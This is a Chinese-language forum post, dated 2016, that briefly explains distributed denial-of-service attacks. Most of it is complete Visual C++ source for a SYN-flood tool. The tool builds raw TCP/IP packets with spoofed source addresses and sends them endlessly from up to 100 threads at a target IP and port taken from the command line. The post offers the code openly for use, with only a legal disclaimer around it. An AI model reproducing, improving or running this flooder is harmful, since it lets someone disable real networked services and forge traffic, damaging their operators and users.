HanDs
NO.2

[Visual Studio文章] VC++实现DDOS 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
分布式拒绝服务攻击英文缩写即"Ddos"。DdoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的
  网络攻击中国“最受害”
服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。DdoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的"消化能力"加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。

#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")
#define SEQ 0x28376839

int threadnum,maxthread,port;
char *DestIP;//目标IP

void display(void)  // 定义状态提示函数
{
 static int play=0;
// 进度条
char *plays[12]=
{
" | ",
 " / ",
 " - ",
 " \\ ",
 " | ",
 " / ",
 " - ",
 " \\ ",
 " | ",
 " / ",
 " - ",
 " \\ ",
};

printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
}

//定义一个tcphdr结构来存放TCP首部
typedef struct tcphdr
{
 USHORT th_sport;//16位源端口号
 USHORT th_dport;//16位目的端口号
 unsigned int th_seq;//32位序列号
 unsigned int th_ack;//32位确认号
 unsigned char th_lenres;//4位首部长度+6位保留字中的4位
 unsigned char th_flag;////6位标志位
 USHORT th_win;//16位窗口大小
 USHORT th_sum;//16位效验和
 USHORT th_urp;//16位紧急数据偏移量
}TCP_HEADER;

//定义一个iphdr来存放IP首部
typedef struct iphdr//ip首部
{
        unsigned char h_verlen;//4位手部长度,和4位IP版本号
        unsigned char tos;//8位类型服务
        unsigned short total_len;//16位总长度
        unsigned short ident;//16位标志
        unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
        unsigned char ttl;//8位生存时间
        unsigned char proto;//8位协议
        unsigned short checksum;//ip手部效验和
        unsigned int sourceIP;//伪造IP地址
        unsigned int destIP;//攻击的ip地址
}IP_HEADER;

//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性
struct
{
 unsigned long saddr;//源地址
 unsigned long daddr;//目的地址
 char mbz;//置空
 char ptcl;//协议类型
 unsigned short tcpl;//TCP长度
}PSD_HEADER;

//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1) {
  cksum+=*buffer++;
  size-=sizeof(USHORT);
 }
 if(size) cksum+=*(UCHAR*)buffer;
 cksum=(cksum >> 16)+(cksum&0xffff);
 cksum+=(cksum >>16);
 return (USHORT)(~cksum);
}

DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
{

SOCKET  sock =NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
struct sockaddr_in sockAddr;
TCP_HEADER  tcpheader;
IP_HEADER   ipheader;
char        sendBuf[128];

 sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
 if(sock==INVALID_SOCKET)
 {
  printf("Socket failed: %d\n",WSAGetLastError());
 return 0;
 }

 //设置IP_HDRINCL以便自己填充IP首部
 ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
 if(ErrorCode==SOCKET_ERROR)
 {
         printf("Set sockopt failed: %d\n",WSAGetLastError());
 return 0;
 }
 //设置发送超时
 ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
 if(ErrorCode==SOCKET_ERROR)
 {
         printf("Set sockopt time out failed: %d\n",WSAGetLastError());
 return 0;
 }
    //设置目标地址
 memset(&sockAddr,0,sizeof(sockAddr));
 sockAddr.sin_family=AF_INET;
 sockAddr.sin_addr.s_addr =inet_addr(DestIP);
 FakeIpNet=inet_addr(DestIP);
 FakeIpHost=ntohl(FakeIpNet);
    //填充IP首部
 ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
 ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
 ipheader.ident = 1;
 ipheader.frag_and_flags = 0;
 ipheader.ttl = 128;
 ipheader.proto = IPPROTO_TCP;
 ipheader.checksum =0;
 ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
 ipheader.destIP = inet_addr(DestIP);
    //填充TCP首部
 tcpheader.th_dport=htons(port);
 tcpheader.th_sport = htons(8080);
 tcpheader.th_seq = htonl(SEQ+SendSEQ);
 tcpheader.th_ack = 0;
 tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
 tcpheader.th_flag = 2;
 tcpheader.th_win = htons(16384);
 tcpheader.th_urp = 0;
 tcpheader.th_sum = 0;

 PSD_HEADER.saddr=ipheader.sourceIP;
 PSD_HEADER.daddr=ipheader.destIP;
 PSD_HEADER.mbz=0;
 PSD_HEADER.ptcl=IPPROTO_TCP;
 PSD_HEADER.tcpl=htons(sizeof(tcpheader));

 for(;;)
 {
  
        SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
  ipheader.checksum =0;
  ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
  tcpheader.th_seq = htonl(SEQ+SendSEQ);
  tcpheader.th_sport = htons(SendSEQ);
  tcpheader.th_sum = 0;
  PSD_HEADER.saddr=ipheader.sourceIP;
  //把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
  memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
  memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
  tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

  memcpy(sendBuf,&ipheader,sizeof(ipheader));
  memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
  memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
  dataSize=sizeof(ipheader)+sizeof(tcpheader);
  ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
  memcpy(sendBuf,&ipheader,sizeof(ipheader));

  sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
     display();
  
 
 }//end for
    Sleep(20);
    InterlockedExchangeAdd((long *)&threadnum,-1);

 return 0;
}

void usage(char *name)
{
printf("\t===================SYN Flood======================\n");
printf("\[email protected]     2004/7/6========\n");
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}

int main(int argc,char* argv[])
{
   
 if(argc!=4)
 {
 
  usage(argv[0]);
  return 0;
 }
 usage(argv[1]);

 int ErrorCode=0;
 DestIP=argv[1];//取得目标主机IP
 port=atoi(argv[2]);//取得目标端口号
 maxthread=(maxthread>100)?100:atoi(argv[3]);
 //如果线程数大于100则把线程数设置为100

 WSADATA wsaData;

 if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
         printf("WSAStartup failed: %d\n",ErrorCode);
         return 0;
 }

 

 printf("[start]...........\nPress any key to stop!\n");

 while(threadnum<maxthread)//循环创建线程
 {
    if(CreateThread(NULL,0,SynfloodThread,0,0,0))
 {
  Sleep(10);
     threadnum++;
 }
 }
 WSACleanup();
 printf("\n[Stopd]...........\n");
 
 return 0;
}


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
VC + + 实现 DDOS
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组